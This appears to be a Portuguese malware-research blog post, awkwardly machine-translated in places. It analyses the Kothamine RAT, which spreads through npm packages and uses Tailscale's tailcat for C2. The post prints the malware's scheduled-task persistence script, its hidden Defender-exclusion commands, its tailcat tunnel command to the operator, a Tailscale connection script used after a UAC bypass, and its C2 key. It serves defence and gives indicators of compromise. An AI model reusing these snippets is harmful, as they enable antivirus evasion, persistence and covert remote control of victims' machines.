O malware Kothamine utiliza o tailcat do Tailscale para contornar a deteção de rede. 

| 25 de setembro de 2026
O malware Kothamine utiliza o tailcat do Tailscale para contornar a deteção de rede. 

Descobrimos um Trojan de acesso remoto (RAT) não documentado chamado Kothamine Agent . Suporta mais de 30 comandos e dá aos atacantes o controlo de um sistema infetado. Windows computador: podem executar comandos, ler e modificar ficheiros e adicionar novas funcionalidades. Algumas versões podem também roubar dados do browser e gravar através da câmara e do microfone. 

Verificámos que o Kothamine está associado a pacotes npm maliciosos, o que pode colocar em risco os utilizadores e os programadores que instalam estes pacotes. Nas versões recentes, o malware utiliza o tailcat , uma ferramenta de código aberto da Tailscale, para receber comandos através de uma ligação encriptada. Isto dificulta a inspeção das suas comunicações e impede os defensores de bloquear um domínio de comando e controlo (C2) convencional.

Com base nos uploads do VirusTotal e nos commits do GitHub, o Kothamine parece estar em desenvolvimento ou distribuição desde pelo menos julho. As versões anteriores utilizavam o Tailscale. VPN em vez do tailcat. Dependendo da versão, o malware inclui as ferramentas de rede ou descarrega-as de fontes como o GitHub.

Como se manter seguro 

Antes de instalar um pacote npm desconhecido, verifique o seu repositório, os mantenedores, as dependências e as versões recentes. Procure relatos de atividades maliciosas e dê preferência a pacotes com histórico consolidado e manutenção regular.

  • Verifique o nome com atenção. Certifique-se de que não está a descarregar um pacote falso com um nome semelhante. 
  • Verifique o programador ou a organização e certifique-se de que a editora parece legítima. Veja, por exemplo, se ela tem um site ou um repositório no GitHub. 
  • Leia algumas avaliações, problemas e relatos. Pesquise o nome do pacote no Google e verifique se há relatos de possível malware detetado. 
  • Veja como ele é popular. Um pacote com muitos downloads e utilizadores é geralmente mais fácil de verificar do que um pacote totalmente novo, sem quase nenhum histórico. 

Análise técnica

Kothamine e os pacotes maliciosos npm

O Kothamine está escrito em C e C++. Na maioria das amostras que analisámos, é constituído por um injetor e uma DLL contendo o agente. O agente suporta mais de 30 comandos, permitindo ao operador controlar o sistema infetado e carregar DLLs adicionais para ampliar as suas capacidades.

O agente Kothamine sofreu algumas alterações ao longo do tempo. As versões anteriores que se encontravam no VirusTotal utilizavam o Tailscale. VPN em vez de tailcat, e as strings não estavam encriptadas. Algumas funcionalidades, incluindo uma forma de contornar o Controlo de Conta de Utilizador (UAC) e os comandos de roubo de dados, foram apenas detetadas em determinadas versões. 

Em algumas versões, o Kothamine descarregava os ficheiros do Tailscale do site oficial do Tailscale ou de um repositório do GitHub, em vez de os incluir no agente.

O mesmo repositório GitHub é citado em um conselho sobre um pacote npm malicioso chamado dotnet-runtime-baseO pacote de download npm-sc-legit.exe desse repositório. À data da redação deste texto, outros dois pacotes publicados pelo mesmo programador tinham sido removidos.

Os autores destas campanhas cometeram um erro e publicaram instruções para a compilação. kothamine-stub-cpp num dos pacotes. O guia aborda também o carregamento de assemblies .NET, algo que não observámos nos exemplos que analisámos.

O npm-sc-legit.exe O executável é uma versão compilada do Kothamine que também contém comandos para roubar dados. Não encontrámos um painel ou construtor para o Kothamine, mas as características presentes nas diferentes versões sugerem que os operadores podem ativar funções e comandos específicos, conforme necessário.

A análise que se segue centra-se numa amostra recente do Agente Kothamine que utiliza o tailcat para comunicação C2.

Como funciona o agente Kothamine

Nas versões analisadas, um executável internamente denominado Kothamine Injector injeta a DLL do Kothamine Agent, normalmente em explorer.exeTambém fazemos referência a versões anteriores para mostrar como o agente mudou.

1. Injetor de Kothamine

O injetor de kotamina realiza as seguintes operações: 

  • Adiciona Windows Exclusões do Defender utilizando o PowerShell
  • Copia-se a si própria para %ROAMING%\MicrosoftEdgeUpdateCore.exe
  • Extrai a DLL do agente para %ROAMING%\MicrosoftEdgeUpdateCore.dll
  • Cria up.ps1 em %TEMP% para persistência
  • Injeta a DLL do agente em explorer.exe usando OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, e LoadLibraryA

O up.ps1 O script cria uma tarefa agendada para obter persistência utilizando o executável Injector: 

$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'  
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force 

2.º Agente Kothamine 

Agente iniciante 

O agente cria um mutex chamado Local\KothamineAgentInstance e inicia o seu fio condutor principal.

Em seguida, executa comandos PowerShell para adicionar o executável e a DLL ao Windows Lista de exclusão do Defender:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"

Algumas das versões detetadas não possuem strings encriptadas. Outras, no entanto, possuem strings encriptadas utilizando uma simples operação XOR e uma chave XOR dedicada para cada string.

Comunicação C2 usando tailcat 

A característica distintiva do Kothamine não é a complexidade técnica, a funcionalidade do agente ou a ofuscação, mas sim a utilização do Tailcat e do Tailscale. VPN para receber comandos a executar. Este proporciona ao agente um canal de comunicação resiliente e encriptado.

O Tailcat é um projeto de código aberto recente, lançado pela equipa da Tailscale. O Tailcat utiliza o plano de dados da Tailscale (WireGuard, NAT traversal e DERP), mas sem o seu plano de controlo. De acordo com a documentação oficial, isto significa que o Tailcat não tem endereços IP, contas, administradores, utilizadores, controlos administrativos ou governação. Estas características tornam-no, portanto, uma ferramenta atraente para utilização em malware. 

Ao contrário da escama da cauda VPN O Tailcat não exige conta nem registo de dispositivo. Os seus desenvolvedores projetaram-no para conexões de curta duração.

Como não existem contas, o acesso baseia-se na posse de um endereço tailcat e das chaves públicas utilizadas para identificar os dispositivos de ligação. Isto não torna a ligação completamente anónima: os servidores de retransmissão alojados podem reter registos de metadados.

O tc-address O parâmetro `forward` permite ao cliente obter as informações necessárias para encaminhar corretamente o pedido. Além disso, o `tailcat` não requer acesso privilegiado à máquina, uma vez que utiliza a ferramenta de linha de comandos (CLI) e bibliotecas do espaço do utilizador. 

Nas versões recentes do Kothamine, o agente extrai o tailcat dos seus recursos e guarda-o como %ROAMING%\TailscalePortable\tailcat.exe.

O executável tailcat é iniciado com o CreateProcessA função e os seguintes parâmetros (internamente designados como spawn_tailcat_forward fase): 

"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward  tc…. 18080:4444 

Este comando disponibiliza as portas do servidor tailcat como portas TCP locais padrão (18080 (neste caso) e os pedidos são encaminhados para a porta 4444 do nó operador. O Kothamine utiliza funções de socket para se ligar a 127.0.0.1:18080, onde o gato-de-cauda está a ouvir. 

Se a string de ID do agente não estiver vazia, o agente enviará um pedido de perfil encriptado contendo as seguintes informações (run_c2_loop fase): 

{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"} 

De seguida, o agente entra num ciclo infinito para receber comandos para executar do C2 (run_c2_loop fase). O agente aguarda novos comandos para executar utilizando o select A função socket envia periodicamente mensagens KEEP-ALIVE no caso de não ser recebido qualquer comando. 

As mensagens trocadas com o C2 são encriptadas e desencriptadas usando o AES-GCM (aes_encrypt fase).  

A chave AES de 32 bytes é descodificada em base64 a partir da string (c2_key fase): 

mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU= 

Comandos suportados 

Nesta versão, o agente Kothamine suporta 30 comandos. relacionado com: 

  • Interação com processos
  • Interação com ficheiros e diretórios
  • Executar comandos shell
  • Ampliar a capacidade do agente com base nas DLL recebidas.
Nome do comando Descrição 
sysinfo/systeminfo, curpid Retorna informações do sistema, como PID, caminho atual, nome do host e sistema operativo (definido no código). 
tasklist, kill Retorna os processos obtidos através de “ tasklist /FO CSV /NH ”. Termina o processo especificado pelo PID utilizando “ taskkill /F /PID ”. 
ping Teste de funcionamento: “Pong” regressa ao C2. 
ipconfig Executa o comando “ ipconfig /all ” e devolve o resultado. 
exec, shell_execExecuta os comandos da shell com _popen() e envia a saída de volta. 
mkdir, rmdir, cp, mv, cd, ls, dir, pwdInterage com ficheiros e pastas no sistema. 
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, downloadLê, escreve e apaga ficheiros arbitrários. 
load_featureEscreve e carrega uma DLL codificada em base64 recebida. A DLL é carregada utilizando LoadLibraryA e o método “ GetFeatureApi ”, resolvido através de GetProcAddress , é executado. Guarda os ponteiros de função necessários para executar a função. 
exec_feature, features, list_features, unload_featureInterage com os recursos carregados para os visualizar, executá-los ou removê-los. 

Dado que os restantes comandos são comuns aos outros agentes, o foco da análise está no sistema de "plugins" que permite ao operador receber DLLs e ampliar a funcionalidade do agente. 

Sistema de plugins 

Para carregar uma nova DLL, o operador utiliza o comando: 

load_feature <name> <B64EncodedDLL> 

Em termos gerais, o processo funciona da seguinte forma. O código e os nomes das variáveis ​​abaixo foram reconstruídos a partir dos registos de utilização e de saída.

  1. Em primeiro lugar, o agente verifica se a funcionalidade já foi carregada e, em caso afirmativo, descarrega-a: 
if (g_features.find(name) != g_features.end()) {
    send_text("[!] " + name + " already loaded, unloading first");
    unload_feature(name);
}

  

  1. Tenta criar a DLL recebida num local obtido através de GetTempPath ou SHGetFolderPathAou no caminho codificado. C:\Windows\TempGrava a DLL descodificada e carrega-a com LoadLibraryA.
  1. Resolve e executa o GetFeatureApi método da DLL carregada: 
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
    send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
    FreeLibrary(hMod);
    return 0;
}
api = pGFA();

Não encontrámos uma DLL que nos permitisse analisar completamente a estrutura devolvida por GetFeatureApiNo entanto, ao analisar o código e as strings, identificamos os seguintes campos: 

/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);

struct FeatureApi {
    char *version;
    char *name;
    void (*init)(FeatureSendCb send);
    void (*exec)(char *args, FeatureSendCb send);
    void (*cleanup)(void);
};

Os ponteiros para a DLL carregada e para a estrutura devolvida são guardados no ambiente global. variável chamada internamente g_features, utilizando esta estrutura: 

struct LoadedFeature {
    void *hModule;          /* Loaded DLL */
    struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};

                            

  1. Executa o init função contida na estrutura retornada, passando-lhe a função utilizada para a comunicação C2: 
send_text("[!] calling init..."); 
api->init(*feature_send_callback);   
send_text("[!] init done");

Após o carregamento da funcionalidade, o operador pode executá-la através do comando: 

exec_feature <functionName> [args] 

Diferentes builds de Kothamine: Tailscale VPN , Desvio do UAC e comandos de roubo 

Como referido anteriormente, detetámos versões do Kothamine com diferentes capacidades.

As versões anteriores utilizavam a escala de cauda. VPN antes do lançamento do Tailcat. Descarregaram e executaram o instalador do site da Tailscale com o /quiet e /silent flags, ou descarregaram os ficheiros necessários diretamente do GitHub. Isso incluía tailscaled.exe, tailscale.exe, tailscale-ipn.exe, e wintun.dll.

Algumas versões ignoram o Controlo de Conta de Utilizador (UAC) utilizando fodhelper.exe para executar elevated.ps1No exemplo abaixo, o script PowerShell inicia um Tailscale. VPN ligação:

$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
    Start-Sleep 2
    try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
    $ip=(&$ts ip 2>&1 | Out-String)
    if ($ip -match '100\.') { $connected=$true; break }
}

O agente liga-se então à porta. 4444 num endereço IP de rede Tailscale (100.x.x.x) e começa a receber e a executar comandos.

Por fim, como já referimos anteriormente, as diferentes versões do Kothamine suportam outros comandos. Por exemplo, a versão enviada para o GitHub inclui comandos adicionais, tais como: getdiscord, getsessions, screenshot, screenshare, e cameraIsto permite que os operadores:

  • Roubar cookies de vários browsers
  • Roube ficheiros JSON relacionados com jogos, incluindo ficheiros associados ao Steam e ao Minecraft.
  • Faça capturas de ecrã e grave vídeos utilizando a câmara e o microfone.
  • Aceder ao conteúdo da área de transferência

Indicadores de comprometimento

hashes SHA-256 

  • ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0Injetor de Kothamine analisado no blog 
  • 74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cAgente Kothamine analisado no blog 

URLs 

  • https://github[.]com/cphc811-ui/Repositório utilizado para descarregar executáveis ​​e DLLs associados ao Tailscale. VPN 

Agradecimentos    

Aviso da Mondoo sobre o pacote npm analisado .


Navegue como se ninguém estivesse a ver. 

VPN Malwarebytes Privacy VPN a sua ligação e nunca regista o que faz, para que a próxima notícia que ler não pareça dirigida a si.Experimente gratuitamente → 

Sobre o autor

O Gabriele é um engenheiro de investigação de malware que adora combater o malware. Quando não está a fazer isso, pode encontrá-lo a desfrutar da natureza, da arte e dos animais.